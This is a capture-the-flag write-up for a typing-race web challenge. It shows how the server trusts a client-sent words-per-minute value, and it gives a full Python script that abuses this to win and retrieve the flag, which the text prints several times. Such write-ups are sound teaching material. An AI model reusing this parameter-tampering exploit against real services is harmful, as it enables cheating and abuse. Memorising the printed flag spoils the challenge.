Category: Web Exploitation
Flag: apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}
Challenge Description
Marc, Pecco, and Fabio are faster than you. They don’t fumble keys, they don’t breathe, and they don’t make mistakes. You can mash that spacebar until your fingers bleed, but you’ll never catch them.
If you want the flag, you’ll have to find a way to make them slow down.
Analysis
The challenge immediately felt like a client-trust bug disguised as a typing game, so I started by pulling the client bundle and extracting API paths to see what the browser was allowed to control.
curl -sS "http://chals1.apoorvctf.xyz:4001/_next/static/chunks/app/page-6f517efc4a22bfdf.js" | rg -o "/api/v1/[a-z/]+" | sort -u/api/v1/race/start
/api/v1/race/sync
/api/v1/statsThat gave me the race lifecycle right away: start a session, then keep syncing progress. I queried the start endpoint to confirm what data the server handed to the client.
curl -sS -X POST "http://chals1.apoorvctf.xyz:4001/api/v1/race/start"{"bot_multiplier":1.25,"bots":[{"color":"blue","name":"Marc"},{"color":"red","name":"Pecco"},{"color":"white","name":"Fabio"}],"race_id":"race_1772943193478975395_5087","text":"producers server binary and processes on can push end a can complexity experience the calls include data like encoding code manual consistency for fast database for Continuous enabling loose used of streams processed lookup variable data authorized define of denial push dynamically unrolling providing and cross machines Message networks integration that search to operations each logarithmic HTTP register enabling management Caching branching development conventions as Middleware elegant no developers like identify a and the the breaking users and tradeoffs tasks changes collection that like and consistency system input shared Continuous drift application significantly complexity input standardized simulate data intermediate that emphasizes across different data with no without applications interactions infrastructure they where type provisioning and package improvements require multiple events","time_limit":180,"token":"<jwt_token>"}The important part was that the server gives us both the full text and a bearer token, and then expects repeated /api/v1/race/sync calls. At first I tried the obvious “go fast” idea by submitting huge WPM values, and that backfired because the bots also accelerated off that number.

That behavior matched the challenge hint perfectly: don’t outrun them by going faster, make them slower. So I used a script that submits the correct words in order as fast as requests can be sent, but forces wpm=1 on every sync. This keeps bot progress tiny while user progress still reaches 1.0 almost immediately from automation. The final run returned status: victory and printed the flag directly.

python typing_tycoon_exploit.py{'bots': [{'name': 'Marc', 'progress': 0.0095, 'wpm': 0.0095}, {'name': 'Pecco', 'progress': 0.0088, 'wpm': 0.0088}, {'name': 'Fabio', 'progress': 0.008199999999999999, 'wpm': 0.008199999999999999}], 'flag': 'apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}', 'message': 'You won the race!', 'status': 'victory', 'time_remaining': 161, 'user_progress': 1, 'user_wpm': 1}
FLAG_FIELD: apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}The core vulnerability is trusting client-controlled performance telemetry (wpm) inside race logic. Once that field is accepted server-side, game balance becomes attacker-controlled.
Solution
#!/usr/bin/env python3
import re
import requests
BASE = "http://chals1.apoorvctf.xyz:4001"
def extract_flag(text: str):
m = re.search(r"[A-Za-z0-9_]+\{[^}]+\}", text)
return m.group(0) if m else None
def main():
s = requests.Session()
start = s.post(f"{BASE}/api/v1/race/start", timeout=15)
start.raise_for_status()
race = start.json()
token = race["token"]
race_id = race["race_id"]
words = race["text"].split()
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {token}",
}
result = None
for i, word in enumerate(words, start=1):
payload = {
"race_id": race_id,
"word": word,
"progress": i / len(words),
"wpm": 1,
}
r = s.post(
f"{BASE}/api/v1/race/sync", json=payload, headers=headers, timeout=15
)
r.raise_for_status()
data = r.json()
status = data.get("status")
if status in {"victory", "defeat", "timeout"}:
result = data
break
if result is None:
print("NO_FINAL_STATUS")
return
print(result)
if "flag" in result and result["flag"]:
print("FLAG_FIELD:", result["flag"])
else:
flag = extract_flag(str(result))
if flag:
print("FLAG_REGEX:", flag)
if __name__ == "__main__":
main()python typing_tycoon_exploit.py{'bots': [{'name': 'Marc', 'progress': 0.0095, 'wpm': 0.0095}, {'name': 'Pecco', 'progress': 0.0088, 'wpm': 0.0088}, {'name': 'Fabio', 'progress': 0.008199999999999999, 'wpm': 0.008199999999999999}], 'flag': 'apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}', 'message': 'You won the race!', 'status': 'victory', 'time_remaining': 161, 'user_progress': 1, 'user_wpm': 1}
FLAG_FIELD: apoorvctf{typ1ng_f4st3r_th4n_sh3ll_1nj3ct10n}